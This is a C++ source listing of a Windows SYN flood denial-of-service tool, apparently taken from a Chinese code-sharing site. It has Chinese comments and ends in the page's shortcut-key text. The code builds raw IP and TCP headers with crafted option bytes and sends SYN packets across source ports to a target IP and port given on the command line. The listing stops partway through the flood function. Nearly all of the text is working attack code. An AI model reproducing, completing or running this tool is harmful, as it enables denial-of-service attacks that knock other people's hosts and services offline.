?? dos.cpp
字號:
/*****************************/
/* Thanks to Author LionD8 */
#include "stdio.h"
#include "winsock2.h"
#include "windows.h"
#include <ws2tcpip.h>
#include "wchar.h"
#pragma comment(lib, "ws2_32.lib")
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
char* TargetIP; // 目標機IP
USHORT TargetPort; // 目標端口
USHORT StartPort = 1; // 起始端口
int Interval; // 發(fā)包時間間隔
UCHAR* outflowbuf = NULL; // 選項字節(jié)
char* psend = NULL; // 偽造數(shù)據(jù)
DWORD len = 0; // 偽造數(shù)據(jù)長度
USHORT optlen= 0; // 選項字節(jié)長度
// 定義IP首部格式
typedef struct _IPHeader
{
unsigned char h_verlen; // 版本和首部長度
unsigned char tos; // 服務(wù)類型
unsigned short total_len; // 總長度
unsigned short ident; // 標識號
unsigned short frag_and_flags; // 段偏移量
unsigned char ttl; // 生存時間
unsigned char proto; // 協(xié)議
unsigned short checksum; // 首部校驗和
unsigned int sourceIP; // 源IP地址
unsigned int destIP; // 目的地址
}IPHEADER;
// 定義TCP首部格式
typedef struct _TCPHeader
{
USHORT th_sport; // 源端口號
USHORT th_dport; // 目的端口號
unsigned int th_seq; // SEQ序號
unsigned int th_ack; // ACK序號
unsigned char th_lenres; // 首部長度
unsigned char th_flag; // 控制位
USHORT th_win; // 窗口大小
USHORT th_sum; // 校驗和
USHORT th_urp; // 緊急指針
}TCPHEADER;
// 定義偽首部格式
typedef struct _PSDHeader
{
unsigned long saddr; // 源地址
unsigned long daddr; // 目的地址
char mbz;
char ptcl; // 協(xié)議類型
unsigned short tcpl; // TCP長度
}PSDHEADER;
// 定義攻擊目標結(jié)構(gòu)
typedef struct _AttackObj
{
DWORD dwIP; // 目標機IP
USHORT uAttackPort[11]; // 目標機端口
struct _AttackObj* Next;
}ATOBJ;
ATOBJ* ListAttackObj=0;
// 初始化原始套接字
BOOL InitRawSocket();
// 獲取本地IP地址
DWORD GetLocalIP();
// 計算校驗和
USHORT checksum(USHORT *buffer, int size);
// 發(fā)送SYN洪水攻擊
DWORD WINAPI SYNThreadFlood(LPVOID lp);
// 發(fā)送數(shù)據(jù)
void SendData(DWORD SEQ, DWORD ACK,
USHORT SPort, USHORT APort,
DWORD SIP, DWORD AIP, char* pBuf,
BOOL Isdata,DWORD dwSize);
// 監(jiān)聽端口功能
DWORD WINAPI ListeningFunc(LPVOID lpvoid);
// 轉(zhuǎn)換成選項字節(jié)
void ConvertOpt (CHAR* pu);
SOCKET sock = NULL;
int main(int argc, char* argv[])
{
psend = (char*)malloc(800);
memset(psend,0x38,799);
psend[799] = 0;
len = strlen(psend);
if ( argc < 3)
{
printf("input error!\n");
return -1;
}
// 獲取目標機IP
TargetIP = strdup(argv[1]);
TargetPort = atoi(argv[2]);
// 定義攻擊字符串
if ( argc == 3)
Interval = 100; // 默認發(fā)包間隔
if ( argc == 4)
{ // 獲取發(fā)包間隔參數(shù)
Interval = atoi(argv[3]);
}
CHAR* optbuftemp = "020405B401010402";
ConvertOpt (optbuftemp); // 轉(zhuǎn)換溢出字符串
outflowbuf[3]-=1;
char HostName[255]={0};
// 初始化原始套接字
if ( InitRawSocket() == FALSE )
return -1;
if ( outflowbuf != NULL)
{
int i=0;
struct hostent* lp = NULL;
gethostname(HostName,255);
lp = gethostbyname (HostName);
while ( lp->h_addr_list[i] != NULL )
{
HANDLE h=NULL;
DWORD dwIP=0;
dwIP = *(DWORD*)lp->h_addr_list[i++];
// 創(chuàng)建監(jiān)聽線程
h=CreateThread(NULL,NULL,ListeningFunc,(LPVOID)dwIP,NULL,NULL);
if ( h == NULL )
{
printf("Create ListeningFunc Thread Failed!\n");
return -1;
}
Sleep(500);
}
// 發(fā)起SYN洪水攻擊
SYNThreadFlood(NULL);
}
else return -1;
// 無限發(fā)包開始
Sleep(INFINITE);
}
// 初始化原始套接字
BOOL InitRawSocket()
{
BOOL flag;
int nTimeOver;
WSADATA WSAData;
// 初始化Winsock庫
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
{
printf("WSAStartup Error!\n");
return FALSE;
}
// 設(shè)計攻擊目標相關(guān)參數(shù)
ListAttackObj = (ATOBJ*) calloc (1,sizeof(ATOBJ));
ListAttackObj->dwIP = inet_addr( TargetIP );
ListAttackObj->uAttackPort[0] = htons(TargetPort);
ListAttackObj->uAttackPort[1] = 0;
ListAttackObj->Next=NULL;
sock=NULL;
// 創(chuàng)建原始套接字
if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
{
printf("Socket Create Failed:%d\n",WSAGetLastError());
return FALSE;
}
flag=true;
// 設(shè)置套接字參數(shù)
if (setsockopt(sock,IPPROTO_IP,
IP_HDRINCL,(char *)&flag,
sizeof(flag))==SOCKET_ERROR)
{
printf("setsockopt IP_HDRINCL failed:%d\n",WSAGetLastError());
return FALSE;
}
nTimeOver=2000;
// 設(shè)置發(fā)送的時間
if (setsockopt(sock, SOL_SOCKET,
SO_SNDTIMEO, (char*)&nTimeOver,
sizeof(nTimeOver))==SOCKET_ERROR)
{
printf("setsockopt SO_SNDTIMEO failed:%d\n",WSAGetLastError());
return FALSE;
}
return TRUE;
}
// SYN洪水攻擊線程函數(shù)
DWORD WINAPI SYNThreadFlood(LPVOID lp)
{
ATOBJ* pAtObj = ListAttackObj;
SOCKADDR_IN addr_in;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
PSDHEADER psdHeader;
char szSendBuf[1024]={0};
int i=0;
while ( pAtObj != NULL )
{
// 開始填充IP包和TCP包
addr_in.sin_family=AF_INET;
addr_in.sin_addr.S_un.S_addr=pAtObj->dwIP;
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.tos=0;
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)+optlen);
ipHeader.ident=1;
ipHeader.frag_and_flags=0x0040;
ipHeader.ttl=0x80;
// 設(shè)置數(shù)據(jù)包為TCP包
ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.destIP=pAtObj->dwIP;
// 設(shè)置源地址為本機IP地址
ipHeader.sourceIP = GetLocalIP();
tcpHeader.th_ack=0;
tcpHeader.th_lenres = (optlen/4+5)<<4;
tcpHeader.th_flag=2;
tcpHeader.th_win=htons(0x4470);
tcpHeader.th_urp=0;
tcpHeader.th_seq=htonl(0x00198288);
for ( int l=StartPort; l<65535;l++)
{
int k =0;
while ( pAtObj->uAttackPort[k] != 0 )
{
// 開始偽造數(shù)據(jù)包
tcpHeader.th_dport=pAtObj->uAttackPort[k++];
psdHeader.daddr=ipHeader.destIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
int sendnum = 0;
int optlentemp = optlen;
tcpHeader.th_sport=htons(l);
tcpHeader.th_sum=0;
psdHeader.saddr=ipHeader.sourceIP;
// 復(fù)制數(shù)據(jù)段
memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
memcpy(szSendBuf+sizeof(psdHeader)+sizeof(tcpHeader),outflowbuf,optlentemp);
// 重新計算校驗和
tcpHeader.th_sum=checksum((USHORT *)szSendBuf,
sizeof(psdHeader)+sizeof(tcpHeader)+optlentemp);
tcpHeader.th_sum = htons(ntohs(tcpHeader.th_sum)-(USHORT)optlentemp);
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memcpy(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader),outflowbuf,optlentemp);
// 開始向目標機發(fā)送SYN數(shù)據(jù)包
int rect=sendto(sock, szSendBuf,
sizeof(ipHeader)+sizeof(tcpHeader)+optlentemp,
0, (struct sockaddr*)&addr_in, sizeof(addr_in));
if ( sendnum++ > 10 )
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -